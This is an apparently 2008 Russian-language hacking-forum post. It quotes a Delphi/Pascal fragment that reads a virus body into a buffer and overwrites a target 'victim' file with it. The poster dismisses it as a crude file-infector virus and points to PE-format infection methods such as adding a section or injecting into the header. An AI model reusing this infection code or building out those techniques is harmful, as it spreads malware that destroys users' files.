30.05.2008, 18:40
|
|
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101
Репутация:
136
|
|
Код:
seek(f2,0); { переход в начало}
blockread(f2,buf,virsize); { считали с буфер с позиции }
filemode:=2 ; { режим открытия файлов (по дефолту 2)}
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1); {открыли для перезаписи}
blockwrite(f1,buf,virsize); {записали буфер}
В общем не качественный вирус-инфектор, лучше поразбирай, инфекторы, юзающие
PE формат, добавление новой секции, внедрение в PE заголовок, если не ошибаюсь
это вирус-спутник. |
|
|